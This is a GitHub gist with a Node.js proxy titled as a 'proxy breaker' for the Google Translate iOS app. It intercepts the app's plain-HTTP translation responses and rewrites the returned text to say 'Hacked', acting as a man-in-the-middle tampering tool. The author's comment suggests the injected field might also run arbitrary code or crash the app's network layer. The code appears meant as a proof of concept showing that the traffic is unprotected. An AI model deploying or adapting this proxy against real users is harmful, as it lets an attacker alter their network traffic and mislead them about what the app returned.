Skip to content

Instantly share code, notes, and snippets.

@itguy51
Created December 20, 2011 07:04
Show Gist options
  • Save itguy51/1500604 to your computer and use it in GitHub Desktop.
Save itguy51/1500604 to your computer and use it in GitHub Desktop.
Google Translate iOS App Proxy Breaker
var http = require('http');
var sys = require('util');
http.createServer(function (request, response) {
data = "";
useSecl = false;
url = request.url;
transURI = "http://translate.google.com";
if (url.indexOf(transURI) > -1) {
e = url.replace(transURI, "");
http.get({
host: transURI.replace("http://", ""),
path: e,
port: 80,
method: 'GET'
}, function (res) {
var pageData = "";
res.setEncoding('utf8');
res.on('data', function (chunk) {
pageData += chunk;
});
res.on('end', function () {
data = JSON.parse(pageData);
data.sentences[0].trans = "Hacked. Your translation is also '" + data.sentences[0].trans + "'";
data = JSON.stringify(data);
sys.log("Breaking...");
});
});
useSecl = true;
} else {
useSecl = false;
}
var proxy = http.createClient(80, request.headers['host'])
var proxy_request = proxy.request(request.method, request.url, request.headers);
proxy_request.addListener('response', function (proxy_response) {
proxy_response.addListener('data', function (chunk) {
if (useSecl) {
response.write(data, 'UTF-8');
} else {
response.write(chunk, 'binary');
}
});
proxy_response.addListener('end', function () {
response.end();
});
response.writeHead(proxy_response.statusCode, proxy_response.headers);
});
request.addListener('data', function (chunk) {
proxy_request.write(chunk, 'binary');
});
request.addListener('end', function () {
proxy_request.end();
});
}).listen(8880);
@itguy51
Copy link
Author

itguy51 commented Dec 20, 2011

Technically, you could make the 'trans' part of the JSON execute arbitrary code, and overflow the app, in turn, possibly crashing the iOS NetworkLayer

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment